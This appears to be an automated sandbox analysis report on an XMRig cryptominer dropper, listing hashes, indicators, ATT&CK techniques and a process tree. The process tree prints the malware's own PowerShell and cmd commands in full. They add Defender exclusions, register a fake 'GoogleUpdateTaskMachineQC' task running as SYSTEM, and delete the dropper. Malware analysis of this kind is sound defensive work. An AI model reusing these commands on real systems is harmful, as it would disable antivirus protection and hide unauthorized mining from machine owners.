xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
1800s
max time network
1781s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
06/06/2024, 09:55

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General

Target

qM5GMXBk6hJE6Y5e (28).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 4212 created 3556	4212	qM5GMXBk6hJE6Y5e (28).exe	56
PID 4212 created 3556	4212	qM5GMXBk6hJE6Y5e (28).exe	56
PID 4212 created 3556	4212	qM5GMXBk6hJE6Y5e (28).exe	56
PID 4212 created 3556	4212	qM5GMXBk6hJE6Y5e (28).exe	56
PID 3900 created 3556	3900	updater.exe	56
PID 3900 created 3556	3900	updater.exe	56
PID 3900 created 3556	3900	updater.exe	56
PID 3900 created 3556	3900	updater.exe	56
PID 4672 created 3556	4672	conhost.exe	56
PID 3900 created 3556	3900	updater.exe	56

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral28/memory/1884-110-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-112-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-114-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-116-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-118-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-120-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-122-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-124-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-126-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-128-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-130-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-132-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-134-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-136-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-138-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-140-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-142-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-144-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-146-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-148-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-150-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-152-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-154-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-156-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-158-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-160-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-162-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-164-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig
behavioral28/memory/1884-166-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3188	powershell.exe
3232	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3900	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral28/memory/1884-104-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-110-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-112-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-114-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-116-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-118-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-120-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-122-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-124-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-126-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-128-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-130-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-132-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-134-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-136-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-138-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-140-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-142-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-144-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-146-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-148-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-150-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-152-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-154-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-156-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-158-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-160-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-162-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-164-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx
behavioral28/memory/1884-166-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3900 set thread context of 4672	3900	updater.exe	113
PID 3900 set thread context of 1884	3900	updater.exe	119

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (28).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2616	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4212	qM5GMXBk6hJE6Y5e (28).exe
4212	qM5GMXBk6hJE6Y5e (28).exe
3188	powershell.exe
3188	powershell.exe
4212	qM5GMXBk6hJE6Y5e (28).exe
4212	qM5GMXBk6hJE6Y5e (28).exe
3144	powershell.exe
3144	powershell.exe
4212	qM5GMXBk6hJE6Y5e (28).exe
4212	qM5GMXBk6hJE6Y5e (28).exe
4212	qM5GMXBk6hJE6Y5e (28).exe
4212	qM5GMXBk6hJE6Y5e (28).exe
1880	powershell.exe
1880	powershell.exe
3900	updater.exe
3900	updater.exe
3232	powershell.exe
3232	powershell.exe
3900	updater.exe
3900	updater.exe
1444	powershell.exe
1444	powershell.exe
3900	updater.exe
3900	updater.exe
3900	updater.exe
3900	updater.exe
4672	conhost.exe
4672	conhost.exe
3900	updater.exe
3900	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe
Token: SeUndockPrivilege	3144	powershell.exe
Token: SeManageVolumePrivilege	3144	powershell.exe
Token: 33	3144	powershell.exe
Token: 34	3144	powershell.exe
Token: 35	3144	powershell.exe
Token: 36	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe
Token: SeUndockPrivilege	3144	powershell.exe
Token: SeManageVolumePrivilege	3144	powershell.exe
Token: 33	3144	powershell.exe
Token: 34	3144	powershell.exe
Token: 35	3144	powershell.exe
Token: 36	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe
Token: SeUndockPrivilege	3144	powershell.exe
Token: SeManageVolumePrivilege	3144	powershell.exe
Token: 33	3144	powershell.exe
Token: 34	3144	powershell.exe
Token: 35	3144	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4264 wrote to memory of 1944	4264	cmd.exe	104
PID 4264 wrote to memory of 1944	4264	cmd.exe	104
PID 1880 wrote to memory of 1520	1880	powershell.exe	105
PID 1880 wrote to memory of 1520	1880	powershell.exe	105
PID 3900 wrote to memory of 4672	3900	updater.exe	113
PID 1988 wrote to memory of 2616	1988	cmd.exe	118
PID 1988 wrote to memory of 2616	1988	cmd.exe	118
PID 3900 wrote to memory of 1884	3900	updater.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3556
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1520
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1444
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4672
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2276
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:2616
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1884

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
